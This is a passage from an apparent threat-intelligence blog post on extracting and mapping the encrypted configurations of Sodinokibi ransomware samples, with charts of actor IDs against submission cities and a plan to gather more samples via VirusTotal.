In my version of the script, it runs on Python3 and uses a standard library for the RC4 algorithm. Also, it's worth to mention that this script fails if input samples are packed. It expects the existence of the particular section with the saved encrypted configuration; it fails otherwise. I added some controls to handle miserable crashes, but there are unmanaged cases still: I'm so new to Python!

In the end, we have a dear old CSV file enriched with a bunch of information: Country, City, Latitude, Longitude, ActorID, CampaignID, Hash, Timestamp. We're ready to map it.

Understanding the data

Our data is described inside a data.csv

Project Sodinokibi

Field aid (ActorID) is changed, during the months, from an integer number, like ActorID: 39 to a hash representation. For now, we have only 174 samples where we managed to extract the configuration. We can now group the data by aid field and count the submissions.

Project Sodinokibi

From what I see, I can understand that the samples related to ThreatActor with the ID 39 have nine submissions from the city of Ashburn US. I have to comprehend why this city has so many submissions related to Sodinokibi. I hope that someone that reads this post would help me to understand and shed some light.

If we map the ThreatActorID vs the City of the submission, we can easily see the data.

Project Sodinokibi
ThreatActors vs Submissions City
Project Sodinokibi
Submissions City vs Submissions count

Next steps would be acquiring as many samples as I can. The best choice would be using VirusTotal API to retrieve the samples and this is what I'm going to do. Hopefully I won't burn my entire Company API limit.

All the scripts used in this post, the data and the Jupiter notebook used to map the data is available here.

Tools Update vs Latest Maldocs

25 May 2020 at 12:00
A couple of tools have been updated to make it easier to handle the latest malicious documents...
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